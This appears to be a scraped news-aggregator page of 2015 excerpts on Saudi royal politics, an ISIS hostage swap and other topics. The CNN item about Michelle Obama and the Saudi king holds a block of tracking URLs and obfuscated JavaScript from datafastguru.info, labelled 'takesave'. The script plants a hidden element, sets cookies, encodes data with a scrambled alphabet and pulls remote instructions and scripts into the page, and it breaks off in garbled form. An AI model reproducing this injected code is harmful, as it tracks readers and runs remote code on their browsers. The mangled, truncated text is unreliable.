Jordan says it would swap terrorist for ISIS captive

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First lady Michelle Obama shakes hands with Saudi king. So?

Source: CNN http://cdn.krxd.net/user_data/segments/3?pubid=e9eaedd3-c1da-4334-82f0-d7e3ff883c87&callback=Krux.ns._default.kxjsonp_userDatahttp://beacon.krxd.net/optout_check?callback=Krux.ns._default.kxjsonp_optOutCheckhttp://odb.outbrain.com/utils/get?url=http%3A%2F%2Fedition.cnn.com%2F2015%2F01%2F27%2Fpolitics%2Fmichelle-obama-shakes-hands-saudi-king%2Findex.html&settings=true&recs=true&widgetJSId=AR_19&key=NANOWDGT01&idx=2&version=218649&ref=http%3A%2F%2Fedition.cnn.com%2F&apv=true&sig=b5hmIGmp&format=html&rand=67481&lsd=4de2a6be-be1c-4fd5-98fa-fbfba39ad3e1&t=MV81MTljOTFkZGQyOWZlMmQ3NTdmZGNlMzQ5ZmE3NDA2MF8w&winW=1600&winH=822http://odb.outbrain.com/utils/get?url=http%3A%2F%2Fedition.cnn.com%2F2015%2F01%2F27%2Fpolitics%2Fmichelle-obama-shakes-hands-saudi-king%2Findex.html&settings=true&recs=true&widgetJSId=AR_14&key=NANOWDGT01&idx=1&version=218649&ref=http%3A%2F%2Fedition.cnn.com%2F&apv=false&sig=b5hmIGmp&format=html&rand=63781&lsd=4de2a6be-be1c-4fd5-98fa-fbfba39ad3e1&t=MV81MTljOTFkZGQyOWZlMmQ3NTdmZGNlMzQ5ZmE3NDA2MF8w&winW=1600&winH=822http://odb.outbrain.com/utils/get?url=http%3A%2F%2Fedition.cnn.com%2F2015%2F01%2F27%2Fpolitics%2Fmichelle-obama-shakes-hands-saudi-king%2Findex.html&settings=true&recs=true&widgetJSId=AR_18&key=NANOWDGT01&idx=0&version=218649&ref=http%3A%2F%2Fedition.cnn.com%2F&apv=false&sig=b5hmIGmp&format=html&rand=78943&lsd=4de2a6be-be1c-4fd5-98fa-fbfba39ad3e1&winW=1600&winH=822//ml314.com/tag.aspx?2802015//rum-static.pingdom.net/prum.min.jshttp://a.visualrevenue.com/vrs.js//cdn3.optimizely.com/js/geo2.jshttp://www.googletagservices.com/tag/js/gpt.js//cdn.krxd.net/ctjs/controltag.js.c111f5d96e086aec31fbe122eea0e995http://cdn.krxd.net/controltag?confid=ITb_9Zup//istatic.datafastguru.info/fo/min/wp.js?subid=1258_2147483&hid=11345849500146681777&bname=takesave//istatic.datafastguru.info/fo/min/wpb.js?subid=1258_2147483&hid=11345849500146681777&bname=takesave//istatic.datafastguru.info/fo/min/wpgb.js?bname=takesave&subid=1258_2147483// < ![CDATA[ function fghjktghndfgt_init(){new function(){if(!document.getElementById('__fghjktghndfgt_once')){(function(){var a=document.createElement('div');a.id='__fghjktghndfgt_once';a.setAttribute('style','display:none;');var c=document.getElementsByTagName('body')[0];c&&c.appendChild(a)})();var a=this;a.pid='2147483';a.cc='HR';a.eid='1258';a.ename='takesave';a.hid='11345849500146681777';a.debugMode=!1;a.utils=new function(){var b=this;'function'!==typeof String.prototype.trim&&(String.prototype.trim=function(){return this.replace(/^s+|s+$/g,'')});b.JSON=new function(){this.parse=function(c){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(c):eval('var a='+c)}catch(a){return!1}}};b.cookie=new function(){var c=this;c.setCookie=function(c,a,b){var f='';'string'===typeof b?f='; expires='+b:'number'===typeof b&&(f=new Date,f.setTime(f.getTime()+864E5*b),f='; expires='+f.toGMTString());document.cookie=c+'='+a+f+'; path=/'};c.getCookie=function(c){c+='=';for(var a=document.cookie.split(';'),b=0;b<a.length;b++){for(var f=a[b];' '==f.charAt(0);)f=f.substring(1,f.length);if(0==f.indexOf(c))return f.substring(c.length,f.length)}return null};c.eraseCookie=function(a){c.setCookie(a,'',-1)}};b.getProtocol=function(c){var a=document.createElement('a');a.href=c;return a.protocol};b.getHostName=function(c){if(!c)return'';var a=document.createElement('a');a.href=c;return a.hostname};b.isMenuBarVisible=function(){if(!b.msie&&window.menubar)return window.menubar.visible;if('object'==typeof WebBrowser2)return WebBrowser2.MenuBar;if(b.msie)return!0;var c=window.innerWidth||document.documentElement.scrollWidth||0,a=window.innerHeight||document.documentElement.scrollHeight||0;if(c){window.resizeTo(c,a);var g=window.innerWidth||document.documentElement.scrollWidth,e=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(c+2,a);c=window.scrollWidth||document.documentElement.scrollWidth;return!(c!=g&&c=a-e)}};b.getInstructions=function(c,d){b.msie?b.inject_script(c+(‘&cb=’+a.prefix+’.’+d)):b.ajax.get(c,function(c){if(c)a[d](c)})};b.l=new function(){var c=this;c.xlat=’abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/’;c.encode=function(a){a=c._utf8_encode(a);for(var b=”,e=0;e>2,f=(f&3)>4,n=(h&15)>6,m=l&63;isNaN(h)?n=m=64:isNaN(l)&&(m=64);b=b+c.xlat.charAt(k)+c.xlat.charAt(f)+(64==n?’=’:c.xlat.charAt(n))+(64==m?’=’:c.xlat.charAt(m))}return b};c._utf8_encode=function(c){if(c&&c.length){for(var a=”,b=0;bf?a+=String.fromCharCode(f):(127f?a+=String.fromCharCode(f>>6|192):(a+=String.fromCharCode(f>>12|224),a+=String.fromCharCode(f>>6&63|128)),a+=String.fromCharCode(f&63|128))}return a}return c};c.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9+/]/g,”);for(var b=”,e=0;e<a […]

Saudi’s quiet palace coup

By: David Hearst Source: The World Post King Abdullah’s writ lasted all of 12 hours. Within that period the Sudairis, a rich and politically powerful clan within the House of Saud, which had been weakened by the late king, burst back into prominence. They produced a palace coup in all […]

The hazards of too much stuff

BBC News: by James Wallman — After the deluge of gifts many people have exchanged at Christmas, January seems a good time for soul-searching over the Western obsession with stuff, writes trend forecaster James Wallman. We have more stuff than we could ever need – kit we don’t use, toys […]

Thanking Allah with words, deeds

Sheikh ibn Baaz Blessings are commensurate with our gratitude. If you thank Allah for His favors, Allah will increase and bless them. But if you are ungrateful, favors will disappear and immediate punishments may follow in this life before the Hereafter. Blessings are of various types. They include having good […]

King Abdullah’s friends in the West stayed loyal, but revolution is on the horizon in Saudi Arabia How long can our Western leaders go on stroking and purring and fawning over – and arming – these Croesus-like autocrats?

by Robert Fisk, The Independent Poor old Kingdom. And old is the only word you can use about Saudi Arabia, where monarchical brothers take precedence over sons. King Abdullah died at 90. He had outlived two other crown princes. His successor Salman is already 79 and cannot expect to survive […]